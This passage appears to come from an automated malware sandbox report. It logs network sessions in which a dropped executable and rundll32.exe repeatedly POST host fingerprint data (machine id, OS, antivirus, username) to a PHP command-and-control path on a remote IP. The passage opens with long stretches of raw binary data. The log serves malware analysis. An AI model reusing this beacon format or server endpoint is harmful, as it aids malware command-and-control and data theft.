xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:12.546144009 CEST	3492	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:12.546216011 CEST	3495	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:12.546544075 CEST	3498	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:12.546629906 CEST	3501	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:23:12.546822071 CEST	3503	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:12.547135115 CEST	3506	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:23:12.547220945 CEST	3509	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:23:12.547363997 CEST	3511	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:12.547684908 CEST	3514	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
Apr 28, 2021 23:23:12.547962904 CEST	3517	OUT	Data Raw: da 54 2f 0e 41 ce 06 3f 9d 2a ce 2e 0a 16 6a df d3 3e ff 00 34 c6 61 e7 81 8e 06 51 94 25 46 dc bc c9 a6 d3 8a e6 e6 5d 1d f5 8f 96 87 d5 7f f0 40 ad 57 c3 91 7c 6e d0 34 9b 9f db 5f c4 1a 1e a5 2f 88 f5 66 b7 f8 1d 6f a5 6a 2f a7 78 85 3f b1 db Data Ascii: T/A?*.j>4aQ%F]@W\|n4_/foj/x?7pD/9da5um?/WxJX<! 2<M$3H#"\|vV[xzmGOohGHM5{u!!u0mo>7@~>mW

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	176.111.174.114	80	192.168.2.5	49726	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:26.915337086 CEST	1579	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	176.111.174.114	80	192.168.2.5	49889	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:12.528192043 CEST	3490	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:12 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.5	49891	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:12.747826099 CEST	3613	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	176.111.174.114	80	192.168.2.5	49890	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:12.853751898 CEST	3663	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:12 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	176.111.174.114	80	192.168.2.5	49891	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:12.853779078 CEST	3664	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:12 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.5	49893	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:13.071198940 CEST	3665	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	176.111.174.114	80	192.168.2.5	49893	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:13.184587002 CEST	3665	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:13 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.5	49894	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:13.398757935 CEST	3665	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	176.111.174.114	80	192.168.2.5	49894	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:13.496491909 CEST	3666	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:13 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.5	49895	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:13.703102112 CEST	3667	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	176.111.174.114	80	192.168.2.5	49895	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:13.809190035 CEST	3667	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:13 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49727	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:27.520783901 CEST	1579	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.5	49896	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:14.007169962 CEST	3667	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	176.111.174.114	80	192.168.2.5	49896	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:14.104325056 CEST	3668	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:14 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.5	49898	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:14.311199903 CEST	3669	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	176.111.174.114	80	192.168.2.5	49898	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:14.411386013 CEST	3669	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:14 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.5	49899	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:14.629782915 CEST	3670	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	176.111.174.114	80	192.168.2.5	49899	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:14.738818884 CEST	3670	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:14 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.5	49900	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:14.948489904 CEST	3671	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	176.111.174.114	80	192.168.2.5	49900	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:15.051532984 CEST	3671	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.5	49901	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:15.260040998 CEST	3672	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	176.111.174.114	80	192.168.2.5	49901	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:15.360191107 CEST	3672	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
